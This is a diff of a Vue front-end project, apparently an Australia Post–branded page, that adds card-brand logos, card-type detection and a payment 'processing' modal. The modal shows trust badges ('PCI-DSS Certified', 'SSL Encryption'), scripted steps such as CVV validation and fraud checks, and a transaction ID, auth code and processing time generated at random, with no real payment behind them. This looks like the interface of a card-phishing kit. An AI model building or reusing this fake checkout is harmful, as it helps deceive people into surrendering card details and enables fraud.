<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m293.2 348.73 33.359-195.76h53.358l-33.384 195.76zm246.11-191.54c-10.569-3.966-27.135-8.222-47.821-8.222-52.726 0-89.863 26.551-90.181 64.604-.297 28.129 26.515 43.822 46.754 53.185 20.771 9.598 27.752 15.716 27.652 24.283-.133 13.123-16.586 19.115-31.924 19.115-21.355 0-32.701-2.967-50.225-10.273l-6.878-3.111-7.487 43.822c12.463 5.467 35.508 10.199 59.438 10.445 56.09 0 92.502-26.248 92.916-66.885.199-22.27-14.016-39.215-44.801-53.188-18.65-9.056-30.072-15.099-29.951-24.269 0-8.137 9.668-16.838 30.56-16.838 17.446-.271 30.088 3.534 39.936 7.5l4.781 2.259zm137.31-4.223h-41.23c-12.772 0-22.332 3.486-27.94 16.234l-79.245 179.4h56.031s9.159-24.121 11.231-29.418c6.123 0 60.555.084 68.336.084 1.596 6.854 6.492 29.334 6.492 29.334h49.512l-43.187-195.64zm-65.417 126.41c4.414-11.279 21.26-54.724 21.26-54.724-.314.521 4.381-11.334 7.074-18.684l3.606 16.878s10.217 46.729 12.353 56.527h-44.293zm-363.3-126.41-52.239 133.5-5.565-27.129c-9.726-31.274-40.025-65.157-73.898-82.12l47.767 171.2 56.455-.063 84.004-195.39-56.524-.001" fill="#0e4595"/><path d="m146.92 152.96h-86.041l-.682 4.073c66.939 16.204 111.23 55.363 129.62 102.42l-18.709-89.96c-3.229-12.396-12.597-16.096-24.186-16.528" fill="#f2ae14"/></svg>
|
||||
|
After Width: | Height: | Size: 1.3 KiB |
1
a12_au_post_aupost/src/assets/img/c8e88e5f3fcfa.svg
Normal file
|
After Width: | Height: | Size: 6.8 KiB |
1
a12_au_post_aupost/src/assets/img/d2820b3b3fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 .001h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#2557d6"/><path d="m.253 235.69h37.441l8.442-19.51h18.9l8.42 19.51h73.668v-14.915l6.576 14.98h38.243l6.576-15.202v15.138h183.08l-.085-32.026h3.542c2.479.083 3.204.302 3.204 4.226v27.8h94.689v-7.455c7.639 3.92 19.518 7.455 35.148 7.455h39.836l8.525-19.51h18.9l8.337 19.51h76.765v-18.532l11.626 18.532h61.515v-122.51h-60.88v14.468l-8.522-14.468h-62.471v14.468l-7.828-14.468h-84.38c-14.123 0-26.539 1.889-36.569 7.153v-7.153h-58.229v7.153c-6.383-5.426-15.079-7.153-24.75-7.153h-212.74l-14.274 31.641-14.659-31.641h-67.005v14.468l-7.362-14.468h-57.145l-26.539 58.246v64.261h.003zm236.34-17.67h-22.464l-.083-68.794-31.775 68.793h-19.24l-31.858-68.854v68.854h-44.57l-8.42-19.592h-45.627l-8.505 19.592h-23.801l39.241-87.837h32.559l37.269 83.164v-83.164h35.766l28.678 59.587 26.344-59.587h36.485zm-165.9-37.823-14.998-35.017-14.915 35.017zm255.3 37.821h-73.203v-87.837h73.203v18.291h-51.289v15.833h50.06v18.005h-50.061v17.542h51.289zm103.16-64.18c0 14.004-9.755 21.24-15.439 23.412 4.794 1.748 8.891 4.838 10.84 7.397 3.094 4.369 3.628 8.271 3.628 16.116v17.255h-22.104l-.083-11.077c0-5.285.528-12.886-3.458-17.112-3.202-3.09-8.083-3.76-15.973-3.76h-23.523v31.95h-21.914v-87.838h50.401c11.199 0 19.451.283 26.535 4.207 6.933 3.924 11.09 9.652 11.09 19.45zm-27.699 13.042c-3.013 1.752-6.573 1.81-10.841 1.81h-26.62v-19.51h26.982c3.818 0 7.804.164 10.393 1.584 2.842 1.28 4.601 4.003 4.601 7.765 0 3.84-1.674 6.929-4.515 8.351zm62.844 51.138h-22.358v-87.837h22.358zm259.56 0h-31.053l-41.535-65.927v65.927h-44.628l-8.527-19.592h-45.521l-8.271 19.592h-25.648c-10.649 0-24.138-2.257-31.773-9.715-7.701-7.458-11.708-17.56-11.708-33.533 0-13.027 2.395-24.936 11.812-34.347 7.085-7.01 18.18-10.242 33.28-10.242h21.215v18.821h-20.771c-7.997 0-12.514 1.14-16.862 5.203-3.735 3.699-6.298 10.69-6.298 19.897 0 9.41 1.951 16.196 6.023 20.628 3.373 3.476 9.506 4.53 15.272 4.53h9.842l30.884-69.076h32.835l37.102 83.081v-83.08h33.366l38.519 61.174v-61.174h22.445zm-133.2-37.82-15.165-35.017-15.081 35.017zm189.04 178.08c-5.322 7.457-15.694 11.238-29.736 11.238h-42.319v-18.84h42.147c4.181 0 7.106-.527 8.868-2.175 1.665-1.474 2.605-3.554 2.591-5.729 0-2.561-1.064-4.593-2.677-5.811-1.59-1.342-3.904-1.95-7.722-1.95-20.574-.67-46.244.608-46.244-27.194 0-12.742 8.443-26.156 31.439-26.156h43.649v-17.479h-40.557c-12.237 0-21.129 2.81-27.425 7.174v-7.175h-59.985c-9.595 0-20.854 2.279-26.179 7.175v-7.175h-107.12v7.175c-8.524-5.892-22.908-7.175-29.549-7.175h-70.656v7.175c-6.745-6.258-21.742-7.175-30.886-7.175h-79.077l-18.094 18.764-16.949-18.764h-118.13v122.59h115.9l18.646-19.062 17.565 19.062 71.442.061v-28.838h7.021c9.479.14 20.66-.228 30.523-4.312v33.085h58.928v-31.952h2.842c3.628 0 3.985.144 3.985 3.615v28.333h179.01c11.364 0 23.244-2.786 29.824-7.845v7.845h56.78c11.815 0 23.354-1.587 32.134-5.649l.002-22.84zm-354.94-47.155c0 24.406-19.005 29.445-38.159 29.445h-27.343v29.469h-42.591l-26.984-29.086-28.042 29.086h-86.802v-87.859h88.135l26.961 28.799 27.875-28.799h70.021c17.389 0 36.929 4.613 36.929 28.945zm-174.22 40.434h-53.878v-17.48h48.11v-17.926h-48.11v-15.974h54.939l23.969 25.604zm86.81 10.06-33.644-35.789 33.644-34.65zm49.757-39.066h-28.318v-22.374h28.572c7.912 0 13.404 3.09 13.404 10.772 0 7.599-5.238 11.602-13.658 11.602zm148.36-40.373h73.138v18.17h-51.315v15.973h50.062v17.926h-50.062v17.48l51.314.08v18.23h-73.139zm-28.119 47.029c4.878 1.725 8.865 4.816 10.734 7.375 3.095 4.291 3.542 8.294 3.631 16.037v17.418h-22.002v-10.992c0-5.286.531-13.112-3.542-17.198-3.201-3.147-8.083-3.899-16.076-3.899h-23.42v32.09h-22.02v-87.859h50.594c11.093 0 19.173.47 26.366 4.146 6.915 4.004 11.266 9.487 11.266 19.511-.001 14.022-9.764 21.178-15.531 23.371zm-12.385-11.107c-2.932 1.667-6.556 1.811-10.818 1.811h-26.622v-19.732h26.982c3.902 0 7.807.08 10.458 1.587 2.84 1.423 4.538 4.146 4.538 7.903 0 3.758-1.699 6.786-4.538 8.431zm197.82 5.597c4.27 4.229 6.554 9.571 6.554 18.613 0 18.9-12.322 27.723-34.425 27.723h-42.68v-18.84h42.51c4.157 0 7.104-.525 8.95-2.175 1.508-1.358 2.589-3.333 2.589-5.729 0-2.561-1.17-4.592-2.675-5.811-1.675-1.34-3.986-1.949-7.803-1.949-20.493-.67-46.157.609-46.157-27.192 0-12.744 8.355-26.158 31.33-26.158h43.932v18.7h-40.198c-3.984 0-6.575.145-8.779 1.587-2.4 1.422-3.29 3.534-3.29 6.319 0 3.314 2.037 5.57 4.795 6.546 2.311.77 4.795.995 8.526.995l11.797.306c11.895.276 20.061 2.248 25.024 7.065zm86.955-23.52h-39.938c-3.986 0-6.638.144-8.867 1.587-2.312 1.423-3.202 3.534-3.202 6.322 0 3.314 1.951 5.568 4.791 6.544 2.312.771 4.795.996 8.444.996l11.878.304c11.983.284 19.982 2.258 24.86 7.072.891.67 1.422 1.422 2.033 2.175v-25z" fill="#fff"/></svg>
|
||||
|
After Width: | Height: | Size: 4.7 KiB |
1
a12_au_post_aupost/src/assets/img/d9f501073fcfa (1).svg
Normal file
|
After Width: | Height: | Size: 9.3 KiB |
1
a12_au_post_aupost/src/assets/img/d9f501073fcfa.svg
Normal file
|
After Width: | Height: | Size: 9.3 KiB |
1
a12_au_post_aupost/src/assets/img/default.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg xmlns='http://www.w3.org/2000/svg' width='750' height='500' fill='none' viewBox='0 0 27 18'><path fill='#E6E9EB' d='M0 3a3 3 0 0 1 3-3h21a3 3 0 0 1 3 3v12a3 3 0 0 1-3 3H3a3 3 0 0 1-3-3V3z'/><path fill='#B9C4C9' d='M4 12h19v2H4z'/><rect width='4' height='4' x='4' y='4' fill='#fff' rx='1'/></svg>
|
||||
|
After Width: | Height: | Size: 300 B |
1
a12_au_post_aupost/src/assets/img/e62e66803fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><g fill-rule="evenodd"><path d="m54.992 0c-30.365 0-54.992 24.63-54.992 55.004v390.992c0 30.38 24.619 55.004 54.992 55.004h670.016c30.365 0 54.992-24.63 54.992-55.004v-390.992c0-30.38-24.619-55.004-54.992-55.004z" fill="#4d4d4d"/><path d="m327.152 161.893c8.837 0 16.248 1.784 25.268 6.09v22.751c-8.544-7.863-15.955-11.154-25.756-11.154-19.264 0-34.414 15.015-34.414 34.05 0 20.075 14.681 34.196 35.37 34.196 9.312 0 16.586-3.12 24.8-10.857v22.763c-9.341 4.14-16.911 5.776-25.756 5.776-31.278 0-55.582-22.596-55.582-51.737 0-28.826 24.951-51.878 56.07-51.878zm-97.113.627c11.546 0 22.11 3.72 30.943 10.994l-10.748 13.248c-5.35-5.646-10.41-8.028-16.564-8.028-8.853 0-15.3 4.745-15.3 10.989 0 5.354 3.619 8.188 15.944 12.482 23.365 8.044 30.29 15.176 30.29 30.926 0 19.193-14.976 32.553-36.32 32.553-15.63 0-26.994-5.795-36.458-18.872l13.268-12.03c4.73 8.61 12.622 13.222 22.42 13.222 9.163 0 15.947-5.952 15.947-13.984 0-4.164-2.055-7.734-6.158-10.258-2.066-1.195-6.158-2.977-14.2-5.647-19.291-6.538-25.91-13.527-25.91-27.185 0-16.225 14.214-28.41 32.846-28.41zm234.723 1.728h22.437l28.084 66.592 28.446-66.592h22.267l-45.494 101.686h-11.053zm-397.348.152h30.15c33.312 0 56.534 20.382 56.534 49.641 0 14.59-7.104 28.696-19.118 38.057-10.108 7.901-21.626 11.445-37.574 11.445h-29.992zm96.135 0h20.54v99.143h-20.54zm411.734 0h58.252v16.8h-37.725v22.005h36.336v16.791h-36.336v26.762h37.726v16.785h-58.252v-99.143zm71.858 0h30.455c23.69 0 37.265 10.71 37.265 29.272 0 15.18-8.514 25.14-23.986 28.105l33.148 41.766h-25.26l-28.429-39.828h-2.678v39.828h-20.515zm20.515 15.616v30.025h6.002c13.117 0 20.069-5.362 20.069-15.328 0-9.648-6.954-14.697-19.745-14.697zm-579.716 1.183v65.559h5.512c13.273 0 21.656-2.394 28.11-7.88 7.103-5.955 11.376-15.465 11.376-24.98 0-9.499-4.273-18.725-11.376-24.681-6.785-5.78-14.837-8.018-28.11-8.018z" fill="#fff"/><path d="m415.13 161.21c30.941 0 56.022 23.58 56.022 52.709v.033c0 29.13-25.081 52.742-56.021 52.742s-56.022-23.613-56.022-52.742v-.033c0-29.13 25.082-52.71 56.022-52.71zm364.85 127.15c-26.05 18.33-221.08 149.34-558.75 212.62h503.76c30.365 0 54.992-24.63 54.992-55.004v-157.62z" fill="#f47216"/></g></svg>
|
||||
|
After Width: | Height: | Size: 2.2 KiB |
BIN
a12_au_post_aupost/src/assets/img/globe-favicon_1.png
Normal file
|
After Width: | Height: | Size: 2.3 KiB |
BIN
a12_au_post_aupost/src/assets/img/master.png
Normal file
|
After Width: | Height: | Size: 2.0 KiB |
BIN
a12_au_post_aupost/src/assets/img/mir.jpg
Normal file
|
After Width: | Height: | Size: 26 KiB |
BIN
a12_au_post_aupost/src/assets/img/products/1.png
Normal file
|
After Width: | Height: | Size: 163 KiB |
BIN
a12_au_post_aupost/src/assets/img/products/2.png
Normal file
|
After Width: | Height: | Size: 133 KiB |
BIN
a12_au_post_aupost/src/assets/img/products/3.png
Normal file
|
After Width: | Height: | Size: 259 KiB |
BIN
a12_au_post_aupost/src/assets/img/products/4.png
Normal file
|
After Width: | Height: | Size: 60 KiB |
BIN
a12_au_post_aupost/src/assets/img/products/5.png
Normal file
|
After Width: | Height: | Size: 260 KiB |
BIN
a12_au_post_aupost/src/assets/img/products/6.png
Normal file
|
After Width: | Height: | Size: 261 KiB |
BIN
a12_au_post_aupost/src/assets/img/video.mp4
Normal file
BIN
a12_au_post_aupost/src/assets/img/visa.png
Normal file
|
After Width: | Height: | Size: 3.6 KiB |
0
a12_au_post_aupost/src/assets/main.css
Normal file
58
a12_au_post_aupost/src/components/CardType1.vue
Normal file
@@ -0,0 +1,58 @@
|
||||
<template>
|
||||
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="height: 60%;width: 60px;" />
|
||||
</template>
|
||||
|
||||
<script lang="ts">
|
||||
import { defineComponent, computed } from "vue";
|
||||
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
|
||||
import c2 from "@/assets/img/d9f501073fcfa.svg";
|
||||
import c3 from "@/assets/img/761998023fcfa.svg";
|
||||
import c4 from "@/assets/img/272b931f3fcfa.svg";
|
||||
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
|
||||
import c6 from "@/assets/img/e62e66803fcfa.svg";
|
||||
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
|
||||
import c8 from "@/assets/img/1a32e1333fcfa.svg";
|
||||
|
||||
export default defineComponent({
|
||||
name: "CardLogo",
|
||||
props: {
|
||||
cardType: {
|
||||
type: String,
|
||||
required: true,
|
||||
},
|
||||
},
|
||||
setup(props) {
|
||||
const logoSrc = computed(() => {
|
||||
const cardTypeUpper = props.cardType.toLocaleUpperCase();
|
||||
|
||||
if (cardTypeUpper.includes("VISA")) {
|
||||
return c1;
|
||||
} else if (cardTypeUpper.includes("MASTERCARD")) {
|
||||
return c2;
|
||||
} else if (cardTypeUpper.includes("JCB")) {
|
||||
return c3;
|
||||
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
|
||||
return c4;
|
||||
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
|
||||
return c5;
|
||||
} else if (cardTypeUpper.includes("DISCOVER")) {
|
||||
return c6;
|
||||
} else if (cardTypeUpper.includes("MAESTRO")) {
|
||||
return c7;
|
||||
} else if (cardTypeUpper.includes("DINNERS")) {
|
||||
return c8;
|
||||
}
|
||||
// 你可以添加更多的卡类型和对应的图片
|
||||
return null; // 如果没有匹配的卡类型,则不显示图片
|
||||
});
|
||||
|
||||
return {
|
||||
logoSrc,
|
||||
};
|
||||
},
|
||||
});
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
/* 可以在这里添加样式 */
|
||||
</style>
|
||||
58
a12_au_post_aupost/src/components/CardType2.vue
Normal file
@@ -0,0 +1,58 @@
|
||||
<template>
|
||||
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="width: 100%" />
|
||||
</template>
|
||||
|
||||
<script lang="ts">
|
||||
import { defineComponent, computed } from "vue";
|
||||
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
|
||||
import c2 from "@/assets/img/d9f501073fcfa.svg";
|
||||
import c3 from "@/assets/img/761998023fcfa.svg";
|
||||
import c4 from "@/assets/img/272b931f3fcfa.svg";
|
||||
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
|
||||
import c6 from "@/assets/img/e62e66803fcfa.svg";
|
||||
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
|
||||
import c8 from "@/assets/img/1a32e1333fcfa.svg";
|
||||
|
||||
export default defineComponent({
|
||||
name: "CardLogo",
|
||||
props: {
|
||||
cardType: {
|
||||
type: String,
|
||||
required: true,
|
||||
},
|
||||
},
|
||||
setup(props) {
|
||||
const logoSrc = computed(() => {
|
||||
const cardTypeUpper = props.cardType.toLocaleUpperCase();
|
||||
|
||||
if (cardTypeUpper.includes("VISA")) {
|
||||
return c1;
|
||||
} else if (cardTypeUpper.includes("MASTERCARD")) {
|
||||
return c2;
|
||||
} else if (cardTypeUpper.includes("JCB")) {
|
||||
return c3;
|
||||
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
|
||||
return c4;
|
||||
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
|
||||
return c5;
|
||||
} else if (cardTypeUpper.includes("DISCOVER")) {
|
||||
return c6;
|
||||
} else if (cardTypeUpper.includes("MAESTRO")) {
|
||||
return c7;
|
||||
} else if (cardTypeUpper.includes("DINNERS")) {
|
||||
return c8;
|
||||
}
|
||||
// 你可以添加更多的卡类型和对应的图片
|
||||
return null; // 如果没有匹配的卡类型,则不显示图片
|
||||
});
|
||||
|
||||
return {
|
||||
logoSrc,
|
||||
};
|
||||
},
|
||||
});
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
/* 可以在这里添加样式 */
|
||||
</style>
|
||||
673
a12_au_post_aupost/src/components/PaymentLoadingModal.vue
Normal file
@@ -0,0 +1,673 @@
|
||||
<template>
|
||||
<transition name="plm-fade">
|
||||
<div v-if="visible" class="plm-overlay" @click="handleOverlayClick">
|
||||
<transition name="plm-slide">
|
||||
<div v-if="visible" class="plm-dialog" @click.stop>
|
||||
|
||||
<!-- Dialog Header -->
|
||||
<div class="plm-dialog-header">
|
||||
<div class="plm-header-left">
|
||||
<div class="plm-header-icon">
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
|
||||
<rect x="1" y="4" width="22" height="16" rx="2" ry="2"></rect>
|
||||
<line x1="1" y1="10" x2="23" y2="10"></line>
|
||||
</svg>
|
||||
</div>
|
||||
<div class="plm-header-text">
|
||||
<span class="plm-header-title">{{ t("payment_loading.modal_title") }}</span>
|
||||
<span class="plm-header-sub">{{ t("payment_loading.modal_subtitle") }}</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="plm-header-pct">{{ Math.floor(progress) }}%</div>
|
||||
</div>
|
||||
|
||||
<!-- Dialog Body -->
|
||||
<div class="plm-dialog-body">
|
||||
|
||||
<!-- Card + progress -->
|
||||
<div class="plm-center-wrap">
|
||||
<div class="plm-card-logo">
|
||||
<img :src="imgRef" alt="card" />
|
||||
<div class="plm-scan-line"></div>
|
||||
</div>
|
||||
|
||||
<div class="plm-progress-section">
|
||||
<div class="plm-progress-track">
|
||||
<div class="plm-progress-fill" :style="{ width: progress + '%' }"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="plm-status-msg">
|
||||
<span class="plm-dot-pulse"></span>
|
||||
<span>{{ progressMessage }}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Security badges -->
|
||||
<div class="plm-badges">
|
||||
<div class="plm-badge">
|
||||
<svg viewBox="0 0 24 24" fill="currentColor">
|
||||
<path d="M18,8H17V6A5,5,0,0,0,7,6V8H6a2,2,0,0,0-2,2V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V10A2,2,0,0,0,18,8ZM9,6a3,3,0,0,1,6,0V8H9ZM18,20H6V10H18Z"/>
|
||||
</svg>
|
||||
<span>{{ t("SSL Encryption") }}</span>
|
||||
</div>
|
||||
<div class="plm-badge-sep"></div>
|
||||
<div class="plm-badge">
|
||||
<svg viewBox="0 0 24 24" fill="currentColor">
|
||||
<path d="M12,2L4,5v6c0,5.55,3.84,10.74,8,12c4.16-1.26,8-6.45,8-12V5L12,2z"/>
|
||||
</svg>
|
||||
<span>{{ t("PCI-DSS Certified") }}</span>
|
||||
</div>
|
||||
<div class="plm-badge-sep"></div>
|
||||
<div class="plm-badge">
|
||||
<svg viewBox="0 0 24 24" fill="currentColor">
|
||||
<path d="M3,6h18c.55,0,1,.45,1,1v10c0,.55-.45,1-1,1H3c-.55,0-1-.45-1-1V7C2,6.45,2.45,6,3,6zM20,10H4v6h16V10zM16,12h3v2h-3V12z"/>
|
||||
</svg>
|
||||
<span>{{ t("Safe payment") }}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Transaction details -->
|
||||
<div class="plm-details" v-if="showDetails">
|
||||
<div class="plm-details-title">
|
||||
<svg viewBox="0 0 24 24" fill="currentColor">
|
||||
<path d="M14,2H6A2,2,0,0,0,4,4V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V8ZM16,18H8V16h8Zm0-4H8V12h8ZM13,9V3.5L18.5,9Z"/>
|
||||
</svg>
|
||||
{{ t("payment_loading.transaction_details") }}
|
||||
</div>
|
||||
<div class="plm-detail-row">
|
||||
<span class="plm-detail-label">{{ t("payment_loading.transaction_id") }}</span>
|
||||
<span class="plm-detail-val">{{ transactionId }}</span>
|
||||
</div>
|
||||
<div class="plm-detail-row">
|
||||
<span class="plm-detail-label">{{ t("payment_loading.processing_network") }}</span>
|
||||
<span class="plm-detail-val">{{ processingNetwork }}</span>
|
||||
</div>
|
||||
<div class="plm-detail-row">
|
||||
<span class="plm-detail-label">{{ t("payment_loading.processing_time") }}</span>
|
||||
<span class="plm-detail-val">{{ processingTime }}</span>
|
||||
</div>
|
||||
<div class="plm-detail-row">
|
||||
<span class="plm-detail-label">{{ t("payment_loading.security_level") }}</span>
|
||||
<span class="plm-detail-val plm-green">{{ securityLevel }}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</transition>
|
||||
</div>
|
||||
</transition>
|
||||
</template>
|
||||
|
||||
<script setup lang="ts">
|
||||
import { ref, watch, onUnmounted, computed } from "vue";
|
||||
import { useI18n } from "vue-i18n";
|
||||
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
|
||||
import c2 from "@/assets/img/d9f501073fcfa.svg";
|
||||
import c3 from "@/assets/img/761998023fcfa.svg";
|
||||
import c4 from "@/assets/img/272b931f3fcfa.svg";
|
||||
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
|
||||
import c6 from "@/assets/img/e62e66803fcfa.svg";
|
||||
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
|
||||
import c8 from "@/assets/img/1a32e1333fcfa.svg";
|
||||
import c9 from "@/assets/img/mir.jpg";
|
||||
import c10 from "@/assets/img/80066acd3fcfa.svg";
|
||||
|
||||
const { t } = useI18n();
|
||||
|
||||
// ── Types ──────────────────────────────────────────────────
|
||||
interface Props {
|
||||
visible: boolean;
|
||||
cardNumber?: string;
|
||||
loading?: boolean;
|
||||
closable?: boolean;
|
||||
maskClosable?: boolean;
|
||||
autoClose?: boolean;
|
||||
autoCloseDelay?: number;
|
||||
}
|
||||
|
||||
interface Emits {
|
||||
(e: 'update:visible', value: boolean): void;
|
||||
(e: 'close'): void;
|
||||
(e: 'step-change', step: number): void;
|
||||
}
|
||||
|
||||
const props = withDefaults(defineProps<Props>(), {
|
||||
visible: false,
|
||||
cardNumber: "",
|
||||
loading: true,
|
||||
closable: true,
|
||||
maskClosable: true,
|
||||
autoClose: false,
|
||||
autoCloseDelay: 5000
|
||||
});
|
||||
|
||||
const emit = defineEmits<Emits>();
|
||||
|
||||
// ── State ──────────────────────────────────────────────────
|
||||
const progress = ref(0);
|
||||
const progressMessage = ref(t('payment_loading.preparing'));
|
||||
const intervalId = ref<ReturnType<typeof setInterval> | ReturnType<typeof setTimeout> | null>(null);
|
||||
const showSpinner = ref(false);
|
||||
const transactionId = ref('');
|
||||
const authCode = ref('');
|
||||
const processingNetwork = ref('');
|
||||
const processingTime = ref('');
|
||||
const securityLevel = ref(t('payment_loading.high'));
|
||||
const showDetails = ref(false);
|
||||
const imgRef = ref<string>(c8);
|
||||
const autoCloseTimer = ref<number | null>(null);
|
||||
|
||||
// ── Computed ───────────────────────────────────────────────
|
||||
const cardType = computed(() => {
|
||||
const num = props.cardNumber.replace(/\D/g, '');
|
||||
if (/^4/.test(num)) return 'VISA';
|
||||
if (/^(5[1-5]|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[0-1][0-9]|2720)/.test(num)) return 'MASTERCARD';
|
||||
if (/^(62|81)/.test(num)) return 'CHINA UNION PAY';
|
||||
if (/^3[347]/.test(num)) return 'AMERICAN EXPRESS';
|
||||
if (/^(6011|64[4-9]|65|62212[6-9]|6221[3-9][0-9]|622[2-8][0-9]{2}|6229[0-2][0-5])/.test(num)) return 'DISCOVER';
|
||||
if (/^35(2[8-9]|[3-8][0-9])/.test(num)) return 'JCB';
|
||||
if (/^(30|36|38|39)/.test(num)) return 'DINNERS';
|
||||
if (/^(50|5[6-8]|6[^2])/.test(num)) return 'MAESTRO';
|
||||
if (/^220[0-4]/.test(num)) return 'MIR';
|
||||
return 'Generic';
|
||||
});
|
||||
|
||||
// ── Progress steps ─────────────────────────────────────────
|
||||
const progressSteps = [
|
||||
{ threshold: 0, message: t('payment_loading.step_init') },
|
||||
{ threshold: 10, message: t('payment_loading.step_encrypt') },
|
||||
{ threshold: 20, message: t('payment_loading.step_connect') },
|
||||
{ threshold: 30, message: t('payment_loading.step_verify_card') },
|
||||
{ threshold: 40, message: t('payment_loading.step_validate_cvv') },
|
||||
{ threshold: 50, message: t('payment_loading.step_fraud') },
|
||||
{ threshold: 60, message: t('payment_loading.step_send') },
|
||||
{ threshold: 70, message: t('payment_loading.step_wait_auth') },
|
||||
{ threshold: 80, message: t('payment_loading.step_process_resp') },
|
||||
{ threshold: 90, message: t('payment_loading.step_confirm') },
|
||||
{ threshold: 95, message: t('payment_loading.step_finalize') },
|
||||
{ threshold: 100, message: '' },
|
||||
];
|
||||
|
||||
// ── Functions ──────────────────────────────────────────────
|
||||
function getCreditCardType(type: string | null): string {
|
||||
if (!type) return c8;
|
||||
const u = type.toLocaleUpperCase();
|
||||
if (u.includes("VISA")) return c1;
|
||||
if (u.includes("MASTERCARD")) return c2;
|
||||
if (u.includes("JCB")) return c3;
|
||||
if (u.includes("CHINA UNION PAY")) return c4;
|
||||
if (u.includes("AMERICAN EXPRESS"))return c5;
|
||||
if (u.includes("DISCOVER")) return c6;
|
||||
if (u.includes("MAESTRO")) return c7;
|
||||
if (u.includes("DINNERS")) return c8;
|
||||
if (u.includes("MIR")) return c9;
|
||||
return c10;
|
||||
}
|
||||
|
||||
const generateTransactionDetails = (typeData: string) => {
|
||||
const type = typeData.toUpperCase();
|
||||
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
|
||||
transactionId.value = Array.from({ length: 12 }, () => chars[Math.floor(Math.random() * chars.length)]).join('');
|
||||
authCode.value = Array.from({ length: 6 }, () => Math.floor(Math.random() * 10)).join('');
|
||||
processingNetwork.value =
|
||||
type === 'VISA' ? t('payment_loading.network_visa') :
|
||||
type === 'MASTERCARD' ? t('payment_loading.network_mastercard') :
|
||||
type === 'AMERICAN EXPRESS' ? t('payment_loading.network_amex') :
|
||||
type === 'CHINA UNION PAY' ? t('payment_loading.network_unionpay') :
|
||||
t('payment_loading.network_intl');
|
||||
processingTime.value = t('payment_loading.time_seconds', { time: (Math.random() * 2 + 1.5).toFixed(2) });
|
||||
};
|
||||
|
||||
const animateProgress = () => {
|
||||
if (intervalId.value) clearInterval(intervalId.value as ReturnType<typeof setInterval>);
|
||||
const breakpoints = [
|
||||
{ point: 20, delay: 700 },
|
||||
{ point: 40, delay: 500 },
|
||||
{ point: 70, delay: 1200 },
|
||||
{ point: 90, delay: 600 },
|
||||
];
|
||||
const getBreakpoint = () => breakpoints.find(bp => Math.abs(progress.value - bp.point) < 1);
|
||||
|
||||
intervalId.value = setInterval(() => {
|
||||
const breakpoint = getBreakpoint();
|
||||
if (breakpoint) {
|
||||
const increment = Math.random() * 0.2;
|
||||
progress.value = Math.min(progress.value + increment, 95);
|
||||
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
|
||||
setTimeout(() => {
|
||||
if (breakpoint.point === 70) showDetails.value = true;
|
||||
animateProgress();
|
||||
}, breakpoint.delay);
|
||||
return;
|
||||
}
|
||||
|
||||
let increment: number;
|
||||
if (progress.value < 30) increment = Math.random() * 1 + 0.5;
|
||||
else if (progress.value < 65) increment = Math.random() * 0.8 + 0.3;
|
||||
else if (progress.value < 85) increment = Math.random() * 0.5 + 0.1;
|
||||
else increment = Math.random() * 0.3 + 0.05;
|
||||
|
||||
progress.value = Math.min(progress.value + increment, 95);
|
||||
|
||||
for (let i = progressSteps.length - 1; i >= 0; i--) {
|
||||
if (progress.value >= progressSteps[i].threshold) {
|
||||
progressMessage.value = progressSteps[i].message;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!props.loading) {
|
||||
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
|
||||
intervalId.value = null;
|
||||
progress.value = 100;
|
||||
progressMessage.value = progressSteps[progressSteps.length - 1].message;
|
||||
}
|
||||
}, 300);
|
||||
};
|
||||
|
||||
const clearAutoCloseTimer = () => {
|
||||
if (autoCloseTimer.value) {
|
||||
clearTimeout(autoCloseTimer.value);
|
||||
autoCloseTimer.value = null;
|
||||
}
|
||||
};
|
||||
|
||||
const closeModal = () => {
|
||||
clearAutoCloseTimer();
|
||||
emit('update:visible', false);
|
||||
emit('close');
|
||||
};
|
||||
|
||||
const handleOverlayClick = () => {
|
||||
if (props.maskClosable) closeModal();
|
||||
};
|
||||
|
||||
// ── Watchers ───────────────────────────────────────────────
|
||||
watch(() => props.visible, (newVisible) => {
|
||||
if (newVisible) {
|
||||
const type = cardType.value || localStorage.getItem("cardType");
|
||||
imgRef.value = getCreditCardType(type);
|
||||
if (props.autoClose) {
|
||||
